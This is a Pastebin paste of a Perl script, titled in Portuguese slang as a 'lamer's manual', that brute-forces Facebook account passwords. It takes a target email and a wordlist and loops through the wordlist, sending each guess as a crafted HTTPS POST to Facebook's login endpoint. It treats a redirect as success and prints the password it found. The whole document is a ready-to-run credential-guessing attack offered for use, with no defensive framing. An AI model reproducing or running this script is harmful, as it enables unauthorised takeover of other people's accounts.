Guest User

face.pl Manual Do Lammer

a guest
Jul 13th, 2016
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.05 KB | None | 0 0
  1. use strict;
  2. use Net::SSLeay::Handle;
  3.  
  4. if(!defined($ARGV[0] && $ARGV[1])) {
  5.  
  6. exit; }
  7.  
  8. my $user = $ARGV[0];
  9. my $wordlist = $ARGV[1];
  10.  
  11. open (LIST, $wordlist) || die "\n[-] No Wordlist On $wordlist -_- \n";
  12.  
  13.  
  14. while (my $password = <LIST>) {
  15. chomp ($password);
  16. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  17.  
  18. my $a = "POST /login.php HTTP/1.1";
  19. my $b = "Host: www.facebook.com";
  20. my $c = "Connection: close";
  21. my $e = "Cache-Control: max-age=0";
  22. my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  23. my $g = "Origin: https://www.facebook.com";
  24. my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
  25. my $i = "Content-Type: application/x-www-form-urlencoded";
  26. my $j = "Accept-Encoding: gzip,deflate,sdch";
  27. my $k = "Accept-Language: en-US,en;q=0.8";
  28. my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  29.  
  30. my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
  31. my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
  32. my $cl = length($post);
  33. my $d = "Content-Length: $cl";
  34.  
  35.  
  36. my ($host, $port) = ("www.facebook.com", 443);
  37.  
  38. tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  39.  
  40.  
  41. print SSL "$a\n";
  42. print SSL "$b\n";
  43. print SSL "$c\n";
  44. print SSL "$d\n";
  45. print SSL "$e\n";
  46. print SSL "$f\n";
  47. print SSL "$g\n";
  48. print SSL "$h\n";
  49. print SSL "$i\n";
  50. print SSL "$j\n";
  51. print SSL "$k\n";
  52. print SSL "$l\n";
  53. print SSL "$cookie\n\n";
  54.  
  55. print SSL "$post\n";
  56.  
  57. my $success;
  58. while(my $result = <SSL>){
  59. if($result =~ /Location(.*?)/){
  60. $success = $1;
  61. }
  62. }
  63. if (!defined $success)
  64. {
  65. print "[-] $password -> Not Him :( \n";
  66. close SSL;
  67. }
  68. else
  69. {
  70. print "\n########################################################\n";
  71. print "[+] Senha Encontrada : $password :D\n";
  72. print "########################################################\n\n";
  73. close SSL;
  74. exit;
  75. }
  76. }
Add Comment
Please, Sign In to add comment